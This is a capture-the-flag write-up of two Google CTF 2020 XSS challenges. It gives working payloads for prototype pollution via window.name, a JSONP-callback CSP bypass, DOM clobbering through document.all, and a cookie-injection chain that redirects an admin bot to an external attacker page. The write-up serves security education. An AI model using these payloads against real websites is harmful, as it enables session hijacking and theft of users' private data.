Web challenges are well-designed most of them are client-side issues, and we solved 4 out of 5 challenges.
"ALL" THE LITTLE THINGS
Description
I left a little secret in a note, but it's private, private is safe .
Note: TJMike🎤 from Pasteurize is also logged into the page.
https://littlethings.web.ctfcompetition.com
If you are wondering who is TJMike is, it is an admin bot which is used in Pasteurize challenge.
As far as I know, there are two solutions for the challenge, during the CTF we solved with an unintended solution and after the end of the CTF terjanq posted the challenge with fixes, so we decided to solve the fixed one.
Unintended Solution
It is a typical CTF web application for XSS challenge, where user can add and view notes and report the notes to admin(TJMike) bot.
TL; DR
The goal of this challenge is to achieve XSS under strict CSP. The value of window.name is used to assign new properties on a User object without any validation, which leads to prototype pollution. There is a JSONP resource which used to set the theme. We can modify the callback value of the JSONP resource using the aforementioned prototype pollution, which leads to CSP Bypass and gives us the ability to run arbitrary javascript.
First and foremost thing we check on an XSS challenge is CSP, so looking at the below policy we can say that there are only two ways to execute javascript on the page either by including nonce or script resource from the same origin.
Content-Security-Policy: default-src 'none';script-src 'self' 'nonce-63174b61355ca2c7';img-src https: http:;connect-src 'self';style-src 'self';base-uri 'none';form-action 'self';font-src https://fonts.googleapis.com
Now let us see the functionality
Functionality
/settings -> To update name, profile picture with URL, theme, and interestingly there is a hidden parameter __debug__ which enables some kind of client-side debugging.
Below code, takes the JSON data from the form input and interestingly sets the value to window.name, this is crucial for the next steps.
/settings
/note -> add private or public notes and view them.
For public notes, we can notice that its using Pasteurize website.
When we view the note, we can notice the below code, it looks similar to the Pasteurize challenge but with added nonce. The code below sanitizes the note contents with DOMPurify and adds into the Document.
/note/id
Before moving forward lets see the pasteurize solution.
Pasteurize Solution
We are given with a website where user can add, view and report which is similar to this challenge.
Fortunately, there is no CSP set on the site.
If we notice the below code, it similar to above one but without nonce. It is also mentioned in the comments that source is available at /source endpoint.
/note/id
I removed most of the code for brevity, we can see that bodyParser is used with extended option which allows us to send arrays and objects in the request body. Without any sanitization the data is stored in the database, when retrieving the notes it is JSON stringified which escapes most of the characters.
/source
So, now we know that we can send array what if we send an array?
> JSON.stringify("a").slice(1,-1); JSON.stringify(["a"]).slice(1,-1);
""a""
> JSON.stringify("a").slice(1,-1);
"a"
Let's test this on server, visit this https://pasteurize.web.ctfcompetition.com/a471a641-a5c3-4c84-a01f-f29c7eb3c768,.
$ curl -X POST https://pasteurize.web.ctfcompetition.com/ --data "content[]=;alert(1337)//"
Found. Redirecting to /a471a641-a5c3-4c84-a01f-f29c7eb3c768
$ curl https://pasteurize.web.ctfcompetition.com/a471a641-a5c3-4c84-a01f-f29c7eb3c768
------ ----- -----------
<script>
const note = "";alert(1337)//"";
const note_id = "a471a641-a5c3-4c84-a01f-f29c7eb3c768";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;
</script>
---- --- -----
We got, XSS now we just need to report with a payload which steals admin notes.
Back to "ALL THE LITTLE THINGS"
What if we tried the same array trick on this application, obviously it is not working so now we need to check if there are any juicy stuff in javascript files.
From now on, I am adding comments in the code to describe their purpose.
/utils.js
/user.js
/theme.js
Allowed character for callback are /theme?cb=[A-Za-z0-9_.=]
/theme?cb=set_dark_theme
set_dark_theme({"version":"b1.13.7","timestamp":1598332212558})
/debug.js
Vulnerabilities?
- Prototype pollution
When we enable debugging using __debug__ parameter, we can provide options like below, and they are saved on window.name to keep the values even after the refresh. window.name is parsed and assigned to User Object.
{
"showAll": true,
"keepDebug": true,
"verbose": true
}
Provide below input and refresh the page, you can notice a pop up with [Object object]
{
"showAll" : true,
"keepDebug" : true,
"verbose" : true,
"__proto__" : { "theme" : {"cb" : "alert"} }
}
What's happening?
If you notice User class there is no setter on theme, but we can make the user object to return any property value we wanted by overriding prototype(__proto__)
Check the below image for how its happening
- Cross-Origin window.name
Ok, now we can change the callback of script resource using prototype pollution, but we as an attacker cannot perform this in victim's page, so how can we do it?
We know that window.name is used for saving debug options in this application if we can change that value we can achieve prototype pollution. Well, we can do that check the below image.
So we set window.name with debug info on our page and redirect it to challenge page. Check this link https://msrkp.github.io/googlectf-2020/1.html, and you will notice an alert.
Arbitrary XSS
Let's try to inject arbitrary html first.
We add html in window.name and write it in the document body.
document.body.innerHTML=window.name.valueOf
We can't just inject <img src=x onerror=alert(1) /> because of CSP, so we need to find a way to respect CSP and achieve XSS.
There are many ways to solve this, during the CTF I came up with below idea.
Multiple Callbacks
We can include callback resource which is on the same page as many times we wanted, but when inserted with innerHTML script tag wont execute so for that we use iframes.
Create a iframe "x" with empty script nodes(<script></script>), you may have a doubt that it will throw CSP error no it wont because when we insert a script node with empty content it is considered as non parser inserted code and html parser wont execute this node and we won't get a csp error. You can read more about this in html5 specification here https://html.spec.whatwg.org/multipage/scripting.html
Using an iframe with first callback we read the nonce value from parent document and save it in "x" frame.
top.x.nonce=top.document.body.lastElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.nonce.valueOf
2nd callback to set the nonce for the empty script nodes we create in step 1.
top.x.document.head.lastElementChild.nonce=top.x.nonce.valueOf
3rd callback to inject arbitrary javascript in empty script node which has nonce that we set in step 3, this won't throw an CSP error because it has nonce set on it.
top.x.document.head.lastElementChild.innerHTML=top.y.title.valueOf
Solution
And finally we have the solution, to read the flag we just have to make TJMike to visit this page using Pasteurize challenge.
Intended Solution
After the CTF, Terjanq posted a fixed version of the challenge(https://fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com/), and we decided to solve the intended one.
You can check the changes made to the new version here https://www.diffchecker.com/BwidGBfk.
Only changes made in debug.js, a new class named Debug is created and looks like that we can't perform prototype pollution as we have done in unintended one. Because the assignment of window.name is performed on the Debug object, not on the User object, which means we cannot change the value of callback after all.
/debug.js
We can't change the properties of the User object, but we can change the properties of the Debug object using the same __proto__ trick.
In the above updated debug.js file, if user.debug.debugUser is true, user.toString() is changed to user.debug.toString(). You know that we can make user.debug.toString() to return any value we wanted, so this brings us to concentrate on make_user_object in user.js.
We can set user object to any property which is not already defined on document, because of is_undefined(document[user.toString()]) check.
/user.js
Visit https://msrkp.github.io/googlectf-2020/4.html and check window.USERNAME, it will be s1r1us.
While I am trying DOM Clobbering to point document[USERNAME].theme.cb to a URL. Posix found that document.all is undefined and it has a collection of all elements in the document, I am shocked like wth is happening, that's it we got the solution.
Now it all makes sense that why the challenge name is "ALL" THE Little Things. xD
All we need to do is point document.all.theme.cb to an URL and use the same technique used in unintended solution to get arbitrary XSS.
So, we create a private note with below HTML.
<a id=theme href="v"><a id=theme name=cb href="http://x/=alert"></a></a>
And redirect to the above note with all as a username.
https://msrkp.github.io/googlectf-2020/5.html (uh-oh its a private one)
So, we can now change the callback with any value we wanted.
Arbitrary XSS
We create a note as follows, which writes window.name value to document.
<a id=theme href="v"><a id=theme name=cb href="http://x/=document.head.innerHTML=window.name.valueOf"></a></a>
Final Payload
Oh wait, notes are private how can TJMike(bot or admin) visit our private notes. How can we make the TJMike log in to attacker account and his account at the same time?
Fortunately, there is a way to solve this problem by setting our session cookies only on our /note/id endpoint and make TJMike visit that page.
We create a note in Pasteurize with below content, and we report it to TJMike which sets document.cookie on our private note path on a subdomain and redirects TJMike to our payload page.
content[]=;document.cookie='session=value';document.cookie='session.sig=value;domain=web.ctfcompetition.com;path=/note/3b7a752d-28c5-4fda-8a8c-229033435397';location='http://ctf.s1r1us.ninja/1.html';//
Tech Support has this same problem we have an XSS on subdomain and self XSS on another subdomain where the flag located, so we use this technique to set our cookies on self XSS page which has a payload to read flag and navigate admin to self XSS page.
Wow-what a ride, really enjoyed solving this and thanks to Terjanq for a formidable challenge.